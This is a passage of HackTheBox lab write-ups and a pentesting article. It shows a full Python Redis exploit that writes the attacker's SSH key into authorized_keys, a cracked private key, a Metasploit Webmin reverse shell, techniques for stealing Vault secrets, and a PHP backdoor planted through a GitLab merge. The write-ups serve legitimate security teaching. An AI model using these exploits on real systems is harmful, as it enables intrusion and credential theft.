<span class="k">def</span> <span class="nf">ssh_connection</span><span class="p">():</span>
<span class="n">shell</span> <span class="o">=</span> <span class="s2">"ssh -i "</span> <span class="o">+</span> <span class="s1">'$HOME/.ssh/id_rsa '</span> <span class="o">+</span> <span class="n">username</span><span class="o">+</span><span class="s2">"@"</span><span class="o">+</span><span class="n">ip_address</span>
<span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="n">shell</span><span class="p">)</span>
<span class="k">if</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">isfile</span><span class="p">(</span><span class="n">PATH</span><span class="p">)</span> <span class="ow">or</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">isfile</span><span class="p">(</span><span class="n">PATH1</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="nb">print</span> <span class="n">colored</span><span class="p">(</span><span class="s1">'</span><span class="se">\t</span><span class="s1">*******************************************************************'</span><span class="p">,</span> <span class="s2">"green"</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">colored</span><span class="p">(</span><span class="s1">'</span><span class="se">\t</span><span class="s1">* [+] [Exploit] Exploiting misconfigured REDIS SERVER*'</span> <span class="p">,</span><span class="s2">"green"</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">colored</span><span class="p">(</span><span class="s1">'</span><span class="se">\t</span><span class="s1">* [+] AVINASH KUMAR THAPA aka "-Acid" '</span><span class="p">,</span> <span class="s2">"green"</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">colored</span><span class="p">(</span><span class="s1">'</span><span class="se">\t</span><span class="s1">*******************************************************************'</span><span class="p">,</span> <span class="s2">"green"</span><span class="p">)</span>
<span class="nb">print</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
<span class="nb">print</span> <span class="n">colored</span><span class="p">(</span><span class="s2">"</span><span class="se">\t</span><span class="s2"> SSH Keys Need to be Generated"</span><span class="p">,</span> <span class="s1">'blue'</span><span class="p">)</span>
<span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s1">'ssh-keygen -t rsa -C </span><span class="se">\"</span><span class="s1">acid_creative</span><span class="se">\"</span><span class="s1">'</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">colored</span><span class="p">(</span><span class="s2">"</span><span class="se">\t</span><span class="s2"> Keys Generated Successfully"</span><span class="p">,</span> <span class="s2">"blue"</span><span class="p">)</span>
<span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">"(echo '</span><span class="se">\r\n\'</span><span class="s2">; cat $HOME/.ssh/id_rsa.pub; echo </span><span class="se">\'\r\n\'</span><span class="s2">) > $HOME/.ssh/public_key.txt"</span><span class="p">)</span>
<span class="n">cmd</span> <span class="o">=</span> <span class="s2">"redis-cli -h "</span> <span class="o">+</span> <span class="n">ip_address</span> <span class="o">+</span> <span class="s1">' flushall'</span>
<span class="n">cmd1</span> <span class="o">=</span> <span class="s2">"redis-cli -h "</span> <span class="o">+</span> <span class="n">ip_address</span>
<span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span>
<span class="n">cmd2</span> <span class="o">=</span> <span class="s2">"cat $HOME/.ssh/public_key.txt | redis-cli -h "</span> <span class="o">+</span> <span class="n">ip_address</span> <span class="o">+</span> <span class="s1">' -x set cracklist'</span>
<span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="n">cmd2</span><span class="p">)</span>
<span class="n">cmd3</span> <span class="o">=</span> <span class="n">cmd1</span> <span class="o">+</span> <span class="s1">' config set dbfilename "backup.db" '</span>
<span class="n">cmd4</span> <span class="o">=</span> <span class="n">cmd1</span> <span class="o">+</span> <span class="s1">' config set dir "/var/lib/redis/.ssh/" '</span>
<span class="n">cmd5</span> <span class="o">=</span> <span class="n">cmd1</span> <span class="o">+</span> <span class="s1">' config set dbfilename "authorized_keys" '</span>
<span class="n">cmd6</span> <span class="o">=</span> <span class="n">cmd1</span> <span class="o">+</span> <span class="s1">' save'</span>
<span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="n">cmd3</span><span class="p">)</span>
<span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="n">cmd4</span><span class="p">)</span>
<span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="n">cmd5</span><span class="p">)</span>
<span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="n">cmd6</span><span class="p">)</span>
<span class="nb">print</span> <span class="n">colored</span><span class="p">(</span><span class="s2">"</span><span class="se">\t</span><span class="s2">You'll get shell in sometime..Thanks for your patience"</span><span class="p">,</span> <span class="s2">"green"</span><span class="p">)</span>
<span class="n">ssh_connection</span><span class="p">()</span>
<span class="k">except</span><span class="p">:</span>
<span class="nb">print</span> <span class="s2">"Something went wrong"</span>
<span class="k">else</span><span class="p">:</span>
<span class="nb">print</span> <span class="n">colored</span><span class="p">(</span><span class="s2">"</span><span class="se">\t</span><span class="s2">Redis-cli:::::This utility is not present on your system. You need to install it to proceed further."</span><span class="p">,</span> <span class="s2">"red"</span><span class="p">)</span>
</code></pre></div>
<p>Running this script will give us a shell as redis.</p>
<div class="highlight"><pre><span></span><code>python redis.py 10.10.10.160 redis
*******************************************************************
* [+] [Exploit] Exploiting misconfigured REDIS SERVER*
* [+] AVINASH KUMAR THAPA aka "-Acid"
*******************************************************************
SSH Keys Need to be Generated
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
/root/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:AXkEW81gyz1YrQfxEQw3t82W/NoAp6q8IdpYTPV8sN0 acid_creative
The key's randomart image is:
+---[RSA 3072]----+
| o+=++==.. |
| .*.=+oo+.+.|
| ..* +oo oo+|
| . +.=.= ..|
| . S +.+ E .|
| o o + |
| + . . . .|
| = o o |
| o . +. |
+----[SHA256]-----+
Keys Generated Successfully
OK
OK
OK
OK
OK
OK
You'll get shell in sometime..Thanks for your patience
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Nov 20 15:31:13 2019 from 10.10.14.110
redis@Postman:~$
</code></pre></div>
<h1>Getting user</h1>
<h2>Enumeration</h2>
<p>We start enumerating. We quickly see that the user is <code>Matt</code>. Our <code>redis</code> user
has a non-empty bash history we can look at.</p>
<div class="highlight"><pre><span></span><code>redis@Postman:~$ cat .bash_history
exit
su Matt
pwd
nano scan.py
python scan.py
nano scan.py
clear
nano scan.py
clear
python scan.py
exit
exit
cat /etc/ssh/sshd_config
su Matt
clear
cd /var/lib/redis
su Matt
exit
cat id_rsa.bak
ls -la
exit
cat id_rsa.bak
exit
ls -la
crontab -l
systemctl enable redis-server
redis-server
ifconfig
netstat -a
netstat -a
netstat -a
netstat -a
netstat -a > txt
exit
crontab -l
cd ~/
ls
nano 6379
exit
</code></pre></div>
<p>When searching for the files mentioned in the history we found that the
<code>id_rsa.bak</code> key exist in <code>/opt/</code> and is an encrypted RSA private key.</p>
<div class="highlight"><pre><span></span><code>redis@Postman:~$ find / -name 'id_rsa.bak' 2> /dev/null^C
/opt/id_rsa.bak
redis@Postman:~$ cat /opt/id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C
JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----
</code></pre></div>
<p>We copy the key on our computer and use <code>ssh2john</code> to extract the hash from the
key and run a john on it: the password is <code>computer2008</code>.</p>
<div class="highlight"><pre><span></span><code>python2 /usr/bin/ssh2john redis_rsa > redis_rsa.hash
john redis_rsa.hash -w=rockyou.txt
computer2008
</code></pre></div>
<p>The key does not allow us to connect using the SSH key (the ssh connection
closed immediately). I also tried this creds for a locally elevation with <code>su</code>
and it works… I do not know why the user will have the same password as it
sshkey passphrase but it works and we get the user flag.</p>
<div class="highlight"><pre><span></span><code>redis@Postman:~$ su Matt
Password:
Matt@Postman:/var/lib/redis$ cd
Matt@Postman:~$ ls
user.txt
Matt@Postman:~$ cat user.txt
517ad0<redacted>
</redacted></code></pre></div>
<h1>Getting root</h1>
<p>The previous creds also work on the webmin authentication form allowing us to
login an see the webmin version: 1.910.</p>
<p><img alt="webmin dashboard" class="image-process-article-image" src="/media/2020.03/derivatives/article-image/postman_1.png"/></p>
<p>The exploit for searchsploit should works.</p>
<div class="highlight"><pre><span></span><code>Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit) | exploits/linux/remote/46984.rb
</code></pre></div>
<p>We import the script in metasploit:</p>
<div class="highlight"><pre><span></span><code>mkdir ~/.msf/modules/exploits/linux/remote
cp /usr/share/exploitdb/exploits/linux/remote/46984.rb
updated
msfconsole
</code></pre></div>
<p>We give to metasploit all the needed information (user, password, IPs) and do
not forget to put the <code>SSL</code> parameter to <code>true</code>.</p>
<div class="highlight"><pre><span></span><code>msf5 exploit(linux/remote/46984) > show options
Module options (exploit/linux/remote/46984):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD computer2008 yes Webmin Password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.160 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 10000 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path for Webmin application
USERNAME Matt yes Webmin Username
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.13 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Webmin <= 1.910
</path></code></pre></div>
<p>Then we run the script. We are directly root on the box and get the flag.</p>
<div class="highlight"><pre><span></span><code>msf5 exploit(linux/remote/46984) > run
[*] Started reverse TCP handler on 10.10.14.13:4444
[+] Session cookie: a2ff4450e3a344159ab1fd464db52855
[*] Attempting to execute the payload...
[*] Command shell session 1 opened (10.10.14.13:4444 -> 10.10.10.160:32916) at 2019-11-20 14:39:02 +0100
id
uid=0(root) gid=0(root) groups=0(root)
cat root.txt
cat /root/root.txt
a2577<redacted>
</redacted></code></pre></div>
<h1>Wrapping up</h1>
<p>This box was not the most interesting one as everything is pretty straight
forward. Moreover the name
suggested me that there will be some SMTP (or IMAP) involved. I am a bit
disappointed.</p>Vault2020-02-08T10:35:00+01:002020-02-08T10:35:00+01:00maggicktag:maggick.fr,2020-02-08:/2020/02/vault.html<blockquote>
<p>"Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets and other sensitive data using a UI, CLI, or HTTP API."</p>
</blockquote>
<blockquote>
<p>"Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets and other sensitive data using a UI, CLI, or HTTP API."</p>
</blockquote>
<h1>Presentation</h1>
<h2>Install</h2>
<p>Just go on the <a href="https://www.vaultproject.io/downloads.html">download page</a> and
get the package adapted to your system. Once you extract the downloaded zip, you
will get a binary. Execute it without any option to get the help menu.</p>
<div class="highlight"><pre><span></span><code>$ ./vault
Usage: vault <command/> [args]
Common commands:
read Read data and retrieves secrets
write Write data, configuration, and secrets
delete Delete secrets and configuration
list List data or secrets
login Authenticate locally
agent Start a Vault agent
server Start a Vault server
status Print seal and HA status
unwrap Unwrap a wrapped secret
Other commands:
audit Interact with audit devices
auth Interact with auth methods
debug Runs the debug command
kv Interact with Vault's Key-Value storage
lease Interact with leases
namespace Interact with namespaces
operator Perform operator-specific tasks
path-help Retrieve API help for paths
plugin Interact with Vault plugins and catalog
policy Interact with policies
print Prints runtime configurations
secrets Interact with secrets engines
ssh Initiate an SSH session
token Interact with tokens
</code></pre></div>
<h2>Getting started</h2>
<p>Running dev server and exporting the <code>vault</code> address</p>
<blockquote>
<p>The dev server is a built-in, pre-configured server that is not very secure but useful for playing with Vault locally.</p>
</blockquote>
<div class="highlight"><pre><span></span><code>$ ./vault server -dev
$ export VAULT_ADDR='http://127.0.0.1:8200'
</code></pre></div>
<p>We can get the server status with the <code>status</code> command. The server is
initialized and unsealed.</p>
<div class="highlight"><pre><span></span><code>$ ./vault status
Key Value
--- -----
Seal Type shamir
Initialized true
Sealed false
Total Shares 1
Threshold 1
Version 1.3.0
Cluster Name vault-cluster-f6bdd069
Cluster ID 14ded467-9ad3-3fc4-4403-bea46156b766
HA Enabled false
</code></pre></div>
<p>This article will not describe the vault's tutorial. If you want to
manipulate vault:
<a href="https://www.vaultproject.io/intro/getting-started/index.html">vault's getting started</a>.</p>
<h1>Vault for pentesters</h1>
<p>What is really interesting is how to steal vault's secrets and maybe escalate
your privileges.
For the following we simulate a situation where we compromised a GNU/Linux
box and get a user shell.</p>
<h2>Detecting the vault</h2>
<p>First of all we need to know of vault is running on the machine. For that we can
run a simple <code>ps</code>.</p>
<div class="highlight"><pre><span></span><code>$ ps aux | grep vault
root 2442 0.0 3.3 69564 68136 ? SLsl 06:56 0:01 vault server -config /vault/config/config.hcl
</code></pre></div>
<h2>Login</h2>
<p>Then we need to login on the vault in order to get some information. Vault allow
sixteen login methods. Here we will present only two of them:</p>
<ol>
<li>token: the default method, a token is use to identify the user.</li>
<li>username: "classical" username/password authentication method</li>
</ol>
<p>In order to use a non default method you need to use the <code>--method</code> option for
instance:</p>
<div class="highlight"><pre><span></span><code>$ vault login -method=userpass username=my-username
Password (will be hidden):
</code></pre></div>
<p>For more information about
<a href="https://www.vaultproject.io/docs/auth/index.html">vault's authentication methods</a>.</p>
<p>In order to get a foothold on the vault instance we will need some
credentials: enumerate!</p>
<h3>Root policy</h3>
<p>Once login on the vault we can list our permission if we are in the "root"
policy we get a root access to the vault and can access every secret.</p>
<div class="highlight"><pre><span></span><code>$ vault login
Token (will be hidden):
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.
Key Value
--- -----
token f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
token_accessor 1dd7b9a1-f0f1-f230-dc76-46970deb5103
token_duration ∞
token_renewable false
token_policies ["root"]
identity_policies []
policies ["root"]
</code></pre></div>
<p>If you do not have access to the "root" policy, you will still have access to
some secrets, maybe only with the right permissions.</p>
<p>Either ways, you should enumerate and see what you can do from there.</p>
<h2>Enumerating the secrets engines</h2>
<p>It is quit simple to list the available secrets engine (for a more detailed
output you can add the <code>-detailed</code> parameter):</p>
<div class="highlight"><pre><span></span><code>$ vault secrets list
Path Type Description
---- ---- -----------
cubbyhole/ cubbyhole per-token private secret storage
secret/ kv key/value secret storage
sys/ system system endpoints used for control, policy and debugging
</code></pre></div>
<h2>Enumerating the secrets for an engine</h2>
<p>Once you know which secrets engines are running you will be able to list the
secrets from them.</p>
<p>Here we will list the secret from the basic kv (key-value) secrets engine.</p>
<p>If the vault is accessible with HTTP, open your browser and login to list
graphically the available information.</p>
<p><img alt="listing the secret engines" class="image-process-article-image" src="/media/2020.02/derivatives/article-image/vault_1.png"/></p>
<p><img alt="Exploring the secrets' secrets" class="image-process-article-image" src="/media/2020.02/derivatives/article-image/vault_2.png"/></p>
<p><img alt="Displaying the value associated to the " class="image-process-article-image" foo"="" key"="" src="/media/2020.02/derivatives/article-image/vault_3.png"/></p>
<p>If you do not have access to a web interface, you can list the secret using the
CLI.</p>
<div class="highlight"><pre><span></span><code>$ ./vault kv list secret/
Keys
----
adsfdasfdas
hello
$ ./vault kv list secret/
Keys
----
adsfdasfdas
hello
$ ./vault kv get secret/hello
====== Metadata ======
Key Value
--- -----
created_time 2019-11-15T14:10:00.428186002Z
deletion_time n/a
destroyed false
version 2
=== Data ===
Key Value
--- -----
foo world
</code></pre></div>
<h2>SSH</h2>
<p>Vault allow to store other object than key:value couples. For instance it is
possible to configure Vault to provide a one time password to connect with ssh
to a remote server (with the contribution of an ssh-helper client side. More
information on how to install this:
<a href="https://www.vaultproject.io/docs/secrets/ssh/one-time-ssh-passwords.html">documentation OTP SSH</a>)</p>
<p>Once installed and configured it allow to connect to "remote" host:</p>
<div class="highlight"><pre><span></span><code>user@vm:~$ vault ssh -mode=otp -role=root_otp root@127.0.0.1
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 3ee17d0c-1eef-a286-fd6d-e50702c38c00
Password:
root@vm:~# id
uid=0(root) gid=0(root) groups=0(root)
</code></pre></div>
<p>This might allow you to pivot from the compromised host to another.</p>
<h1>Short conclusion</h1>
<p>This article just scratch the vault surface as there is <a href="https://www.vaultproject.io/docs/secrets/index.html">eighteen secrets
engine</a> at the moment and I
have not speak about sealing and unsealing the vault.
This solution can resolve some authentication and secret sharing issues but
it is crucial that the vault's authentication secrets are well keep.</p>HTB: Bitlab2020-01-11T20:40:00+01:002020-01-11T20:40:00+01:00maggicktag:maggick.fr,2020-01-11:/2020/01/htb-bitlab.html<p><img alt="Bitlab Card" class="align-left" src="/media/2020.01/bitlab_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/207">Bitlab</a>.
This box is rated as a medium box. It implies a gitlab, a user, some
enumeration, a PostgreSQL database, some pain with a b64 password and some basic
reverse engineering on a Windows binary.</p>
<p><em>If you just want to play with the binary: it is available in the
"RemoteConnection.exe" part.</em></p>
<p><img alt="Bitlab Card" class="align-left" src="/media/2020.01/bitlab_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/207">Bitlab</a>.
This box is rated as a medium box. It implies a gitlab, a user, some
enumeration, a PostgreSQL database, some pain with a b64 password and some basic
reverse engineering on a Windows binary.</p>
<p><em>If you just want to play with the binary: it is available in the
"RemoteConnection.exe" part.</em></p>
<h1>Getting user</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. Only the ports 22 (SSH) and 80 (HTTP)
are open:</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Mon Nov 25 13:23:49 2019 as: nmap -p- -oA nmap 10.10.10.114
Nmap scan report for 10.10.10.114
Host is up (0.099s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Mon Nov 25 13:26:14 2019 -- 1 IP address (1 host up) scanned in 145.18 seconds
</code></pre></div>
<h2>Web</h2>
<p>The home page is a <a href="https://about.gitlab.com/">gitlab</a> home page.</p>
<p>We run a <a href="https://tools.kali.org/web-applications/dirb">dirb</a> against the home
page and discover a few pages and directory.</p>
<div class="highlight"><pre><span></span><code>-----------------
DIRB v2.22
By The Dark Raver
-----------------
OUTPUT_FILE: dirb
START_TIME: Mon Nov 25 13:28:27 2019
URL_BASE: http://10.10.10.114/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.114/ ----
+ http://10.10.10.114/explore (CODE:200|SIZE:13675)
+ http://10.10.10.114/favicon.ico (CODE:301|SIZE:169)
+ http://10.10.10.114/groups (CODE:302|SIZE:100)
==> DIRECTORY: http://10.10.10.114/help/
==> DIRECTORY: http://10.10.10.114/profile/
+ http://10.10.10.114/projects (CODE:302|SIZE:93)
+ http://10.10.10.114/public (CODE:200|SIZE:13755)
+ http://10.10.10.114/robots.txt (CODE:200|SIZE:2153)
+ http://10.10.10.114/root (CODE:200|SIZE:16026)
+ http://10.10.10.114/Root (CODE:302|SIZE:90)
+ http://10.10.10.114/search (CODE:200|SIZE:13366)
+ http://10.10.10.114/snippets (CODE:302|SIZE:102)
+ http://10.10.10.114/test (CODE:302|SIZE:91)
---- Entering directory: http://10.10.10.114/help/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.114/profile/ ----
+ http://10.10.10.114/profile/index.php (CODE:200|SIZE:4184)
-----------------
END_TIME: Mon Nov 25 13:44:24 2019
DOWNLOADED: 9224 - FOUND: 12
</code></pre></div>
<h2>Gitlab unauthenticated</h2>
<p>The <code>profile</code> URL give us access to some developer ugly profile:</p>
<p><img alt="Clave profile" class="image-process-article-image" src="/media/2020.01/derivatives/article-image/bitlab_5.png"/></p>
<p>When looking at the main page we can see an help link linking to a directory
listing page linking to a bookmarks page with a few bookmarks.</p>
<p><img alt="help link" class="image-process-article-image" src="/media/2020.01/derivatives/article-image/bitlab_1.png"/>
<img alt="Directory listing" class="image-process-article-image" src="/media/2020.01/derivatives/article-image/bitlab_2.png"/>
<img alt="Last bookmark" class="image-process-article-image" src="/media/2020.01/derivatives/article-image/bitlab_3.png"/></p>
<p>The last link as the following value.</p>
<p>:::text
javascript:(function(){%20var%20_0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document<a href="_0x4b18[1]">_0x4b18[2]</a>[_0x4b18[0]]=%20_0x4b18[3];document<a href="_0x4b18[4]">_0x4b18[2]</a>[_0x4b18[0]]=%20_0x4b18[5];%20})()</p>
<p>We use an <a href="https://lelinhtinh.github.io/de4js/">online JavaScript Deobfuscator and Unpacker</a>
to get the link "true" value:</p>
<div class="highlight"><pre><span></span><code>javascript: (function () {
% 20
var % 20 _0x4b18 = ["value", "user_login", "getElementById", "clave", "user_password", "11des0081x"];
document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = % 20 _0x4b18[3];
document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = % 20 _0x4b18[5]; % 20
})()
</code></pre></div>
<p>The credentials "clave" and "11des0081x" allow us to connect to the gitlab. We
have access to two projects owned by the "administrator" user: "Profile" and
"Deployer".</p>
<p><img alt="Connected user" class="image-process-article-image" src="/media/2020.01/derivatives/article-image/bitlab_4.png"/></p>
<h2>Gitlab authenticated</h2>
<p>The first project is the developer profile seen earlier. The second project is
the code use to deploy the first project using the following PHP syntax:</p>
<div class="highlight"><pre><span></span><code><span class="x">if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') {</span>
<span class="x"> echo shell_exec('cd ../profile/; sudo git pull'),"\n";</span>
<span class="x">}</span>
</code></pre></div>
<p>We can add a PHP simple reverse shell (the one in
<code>/usr/share/webshells/php/simple-backdoor.php</code> on Kali), make a pull request and
merge it from the gitlab interface.</p>
<div class="highlight"><pre><span></span><code><span class="x"><!-- Simple PHP backdoor by DK (http://michaeldaw.org) --></span>
<span class="cp"><?php</span>
<span class="k">if</span><span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">])){</span>
<span class="k">echo</span> <span class="s2">"<pre>"</pre></span><span class="p">;</span>
<span class="nv">$cmd</span> <span class="o">=</span> <span class="p">(</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">]);</span>
<span class="nb">system</span><span class="p">(</span><span class="nv">$cmd</span><span class="p">);</span>
<span class="k">echo</span> <span class="s2">"</span></span></code></pre>"<span class="p">;</span>
<span class="k">die</span><span class="p">;</span>
<span class="p">}</span>
<span class="cp">?></span>
<span class="x">Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd</span>
<span class="x"><!-- http://michaeldaw.org 2006 --></span>
</div>
<p><img alt="Adding some PHP file" class="image-process-article-image" src="/media/2020.01/derivatives/article-image/bitlab_6.png"/></p>
<p>We then use the "Deployer" by accessing the <code>http://10.10.10.114/deployer/</code> URL
and we can access our webshell with the <code>http://10.10.10.114/profile/cmd2.php</code>
URL.</p>
<p>We can also deploy a reverse shell (from
<code>/usr/share/webshell/php/reverse-shell.php</code> for instance) and get a shell as <code>www-data</code>
We can use <code>python -c 'import pty; pty.spawn("/bin/sh")'</code> in order to get a
interactive shell. We start enumerating the box and something interesting come
out: Our user as a <code>sudo</code> permission with no password for <code>/usr/bin/git pull</code>.</p>
<div class="highlight"><pre><span></span><code>$ sudo -l
sudo -l
Matching Defaults entries for www-data on bitlab:
env_reset, exempt_group=sudo, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bitlab:
(root) NOPASSWD: /usr/bin/git pull
</code></pre></div>
<p>My first idea was to try <code>sudo /usr/bin/git pull --help</code> to get the pager as
root but that doesn't work. The second idea was to create a new git repository
and play with the post-merge hooks but I didn't had the right to create a new
git project. It seems like a dead end.</p>
<div class="highlight"><pre><span></span><code>$ cd /var/www/html
$ ls
deployer
help
index.html
profile
$ cp -r profile /tmp/poi
$ cd /tmp/poi
$ cd .git/hooks/
$ echo '#!/bin/bash' >> post-merge
$ echo 'cat /root/root.txt' >> post-merge
$ chmod +x post-merge
$ sudo /usr/bin/git pull
fatal: this operation must be run in a work tree
</code></pre></div>
<h2>Postgresql</h2>
<p>By exploring more the gitlab we can found a "snippet" name "Postgresql" containing
the base of PHP script to connect to the database.</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="nv">$db_connection</span> <span class="o">=</span> <span class="nb">pg_connect</span><span class="p">(</span><span class="s2">"host=localhost dbname=profiles user=profiles password=profiles"</span><span class="p">);</span>
<span class="nv">$result</span> <span class="o">=</span> <span class="nb">pg_query</span><span class="p">(</span><span class="nv">$db_connection</span><span class="p">,</span> <span class="s2">"SELECT * FROM profiles"</span><span class="p">);</span>
</span></code></pre></div>
<p>We complete the script to display the database content.</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="nv">$db_connection</span> <span class="o">=</span> <span class="nb">pg_connect</span><span class="p">(</span><span class="s2">"host=localhost dbname=profiles user=profiles password=profiles"</span><span class="p">);</span>
